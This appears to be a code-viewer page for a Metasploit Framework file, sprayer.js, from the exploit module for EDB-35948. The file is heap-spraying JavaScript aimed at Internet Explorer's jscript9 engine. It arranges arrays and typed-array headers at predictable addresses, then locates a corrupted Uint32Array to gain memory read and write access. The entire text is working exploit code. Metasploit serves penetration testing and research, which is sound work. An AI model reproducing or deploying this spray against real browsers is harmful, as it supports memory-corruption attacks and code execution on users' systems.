rapid7/metasploit-framework

View on GitHub
data/exploits/edb-35948/js/sprayer.js

Summary

Maintainability
A
25 mins
Test Coverage
var Sprayer = function () {
    // amount of arrays to create on the heap
    this.nrArrays = 0x1000;
    // size of data in one array block: 0xefe0 bytes =>
    // subract array header (0x20) and space for typed array headers (0x1000)
    // from 0x10000
    this.arrSize =  (0x10000-0x20-0x1000)/4;
    // heap array container will hold our heap sprayed data
    this.arr = new Array(this.nrArrays);
    // use one buffer for all typed arrays
    this.intArrBuf = new ArrayBuffer(4);
    this.corruptedArray = null;
    this.corruptedArrayNext = null;
};

// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
    var k = 0;
    while(k < this.nrArrays) {
        // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
        // aligned at 0xXXXX0020)
        this.arr[k] = new Array(this.arrSize);

        // fill remaining page (0x1000) after array data with headers of
        // "jscript9!Js::TypedArray<unsigned int>"  (0x55 * 0x30 = 0xff0) as a
        // typed array header has the size of 0x30. 0x10 bytes are left empty
        for(var i = 0; i < 0x55; i++){
            // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
            this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
        }

        // tag the array's last element
        this.arr[k][this.arrSize - 1] = 0x12121212;
        k += 1;
    }
};

// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
    var k = 0;

    while(k < this.nrArrays - 1) {
        for(var i = 0; i < 0x55-1; i++){
            if(this.arr[k][i][0] != 0){
                // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
                // alert("0x" + arr[k][i][0].toString(16))
                this.corruptedArray = this.arr[k][i];
                this.corruptedArrayNext = this.arr[k+1];
                this.fullMemory = this.arr[k][i+1];
                return 1;
            }
        }
        k++;
    }

    return -1;
};